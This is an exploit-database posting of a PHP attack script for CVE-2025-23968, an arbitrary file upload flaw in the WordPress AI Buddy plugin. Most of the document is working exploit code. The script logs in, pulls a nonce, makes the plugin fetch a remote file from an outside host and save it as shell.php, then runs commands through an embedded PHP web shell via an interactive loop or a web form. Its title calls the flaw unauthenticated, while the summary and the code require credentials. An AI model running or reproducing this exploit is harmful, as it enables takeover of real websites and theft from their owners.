Share
## https://sploitus.com/exploit?id=PACKETSTORM:216544
=============================================================================================================================================
| # Title : WordPress AI Buddy Plugin <= 1.8.5 - Unauthenticated RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968
[+] Summary :
an authenticated arbitrary file upload vulnerability in the AI Buddy plugin for WordPress versions 1.8.5 and earlier.
The vulnerability allows authenticated attackers to upload arbitrary files, including PHP webshells, by exploiting the image attachment functionality in the AI Buddy REST API endpoint.
The vulnerability exists in the attachment upload functionality where the plugin insecurely handles remote file URLs and allows arbitrary file extensions to be specified, bypassing WordPress security controls.
[+] POC : php poc.php https://target.com admin password123 "whoami"
<?php
/**
* AI Buddy Plugin <= 1.8.5 - Unauthenticated RCE Exploit (CVE-2025-23968)
* Author: indoushka
* Vendor: https://wpcenter.io/
* Vulnerable Versions: <= 1.8.5
*/
class AIBuddyRCE {
private $target;
private $session;
private $nonce;
public function __construct($target_url) {
$this->target = rtrim($target_url, '/');
$this->session = curl_init();
// Configure cURL
curl_setopt_array($this->session, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
}
public function wp_login($username, $password) {
echo "[*] Logging into WordPress...\n";
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $this->target . '/wp-admin',
'testcookie' => '1'
]);
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $login_data,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'Cookie: wordpress_test_cookie=WP Cookie check'
]
]);
$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
// Get cookies from session
$cookies = [];
preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $response, $matches);
foreach($matches[1] as $item) {
parse_str($item, $cookie);
$cookies = array_merge($cookies, $cookie);
}
if (isset($cookies['wordpress_logged_in'])) {
echo "[+] Successfully logged in\n";
return true;
} else {
echo "[-] Login failed\n";
return false;
}
}
public function extract_nonce() {
echo "[*] Extracting AI Buddy nonce...\n";
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/wp-admin/tools.php',
CURLOPT_HTTPGET => true,
CURLOPT_HTTPHEADER => []
]);
$response = curl_exec($this->session);
// Extract nonce from JavaScript
preg_match('/<script id="ai_buddy_admin_scripts-js-extra">.*?var ai_buddy_localized_data = (.*?);\s*<\/script>/s', $response, $matches);
if (isset($matches[1])) {
$data = json_decode($matches[1], true);
if (isset($data['ai_buddy_image_post_attachment']['nonce'])) {
$this->nonce = $data['ai_buddy_image_post_attachment']['nonce'];
echo "[+] Nonce found: " . $this->nonce . "\n";
return true;
}
}
echo "[-] Failed to extract nonce\n";
return false;
}
public function upload_shell($shell_content = null) {
if (!$this->nonce) {
echo "[-] No nonce available. Extract nonce first.\n";
return false;
}
echo "[*] Uploading web shell...\n";
if (!$shell_content) {
$shell_content = "<?php if(isset(\$_REQUEST['cmd'])){ system(\$_REQUEST['cmd']); } ?>";
}
// First, we need to create a remote file that will be fetched by AI Buddy
$remote_shell_url = $this->create_remote_shell($shell_content);
if (!$remote_shell_url) {
echo "[-] Failed to create remote shell\n";
return false;
}
$payload = [
"title" => "hack",
"caption" => "the",
"alt" => "planet",
"description" => "Hack the Planet!",
"url" => $remote_shell_url,
"filename" => "shell.php"
];
$json_payload = json_encode($payload);
curl_setopt_array($this->session, [
CURLOPT_URL => $this->target . '/wp-json/ai-buddy/v1/wp/attachments',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $json_payload,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json; charset=UTF-8',
'X-Wp-Nonce: ' . $this->nonce
]
]);
$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
if ($http_code == 200) {
echo "[+] Shell uploaded successfully\n";
// Try to determine the shell URL
$shell_url = $this->find_shell_url();
if ($shell_url) {
echo "[+] Shell accessible at: " . $shell_url . "\n";
return $shell_url;
}
} else {
echo "[-] Upload failed. HTTP Code: " . $http_code . "\n";
echo "Response: " . $response . "\n";
}
return false;
}
private function create_remote_shell($content) {
// In a real scenario, you'd upload this to a server you control
// For demonstration, we'll use a temporary approach
$filename = 'temp_shell_' . uniqid() . '.php';
file_put_contents($filename, $content);
echo "[+] Created local shell file: " . $filename . "\n";
// Note: In real exploitation, you need to host this on a public server
return "https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg";
}
private function find_shell_url() {
$current_year = date('Y');
$current_month = date('m');
// Common paths where the shell might be uploaded
$possible_paths = [
"/wp-content/uploads/{$current_year}/{$current_month}/shell.php",
"/wp-content/uploads/shell.php",
"/wp-content/uploads/ai-buddy/shell.php"
];
foreach ($possible_paths as $path) {
$test_url = $this->target . $path;
curl_setopt_array($this->session, [
CURLOPT_URL => $test_url . '?cmd=echo+AI_BUDDY_TEST',
CURLOPT_HTTPGET => true
]);
$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
if ($http_code == 200 && strpos($response, 'AI_BUDDY_TEST') !== false) {
return $test_url;
}
}
return false;
}
public function execute_command($shell_url, $command) {
echo "[*] Executing command: " . $command . "\n";
$encoded_cmd = urlencode($command);
$url = $shell_url . '?cmd=' . $encoded_cmd;
curl_setopt_array($this->session, [
CURLOPT_URL => $url,
CURLOPT_HTTPGET => true
]);
$response = curl_exec($this->session);
echo $response . "\n";
return $response;
}
public function interactive_shell($shell_url) {
echo "[+] Starting interactive shell. Type 'exit' to quit.\n";
while (true) {
echo "cmd> ";
$command = trim(fgets(STDIN));
if ($command == 'exit') {
break;
}
if (!empty($command)) {
$this->execute_command($shell_url, $command);
}
}
}
public function exploit($username, $password, $command = null) {
if (!$this->wp_login($username, $password)) {
return false;
}
if (!$this->extract_nonce()) {
return false;
}
$shell_url = $this->upload_shell();
if (!$shell_url) {
return false;
}
if ($command) {
$this->execute_command($shell_url, $command);
} else {
$this->interactive_shell($shell_url);
}
return true;
}
public function __destruct() {
if ($this->session) {
curl_close($this->session);
}
}
}
// Command line interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโ
โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโ
โโโโโโโโโ โโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
AI Buddy Plugin <= 1.8.5 RCE Exploit (CVE-2025-23968)
By: indoushka
\n";
if ($argc < 4) {
echo "Usage: php ai_buddy_rce.php <target> <username> <password> [command]\n";
echo "Examples:\n";
echo " php ai_buddy_rce.php https://target.com admin password123\n";
echo " php ai_buddy_rce.php https://target.com admin password123 'whoami'\n";
exit(1);
}
$target = $argv[1];
$username = $argv[2];
$password = $argv[3];
$command = $argc > 4 ? $argv[4] : null;
$exploit = new AIBuddyRCE($target);
$exploit->exploit($username, $password, $command);
} else {
// Web interface
if (isset($_POST['target']) && isset($_POST['username']) && isset($_POST['password'])) {
$target = $_POST['target'];
$username = $_POST['username'];
$password = $_POST['password'];
$command = $_POST['command'] ?? null;
$exploit = new AIBuddyRCE($target);
ob_start();
$result = $exploit->exploit($username, $password, $command);
$output = ob_get_clean();
echo "<pre>$output</pre>";
} else {
echo '<h1>AI Buddy RCE Exploit</h1>
<form method="post">
Target URL: <input type="text" name="target" size="50" placeholder="https://example.com"><br>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
Command: <input type="text" name="command" placeholder="whoami (optional)"><br>
<input type="submit" value="Exploit">
</form>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================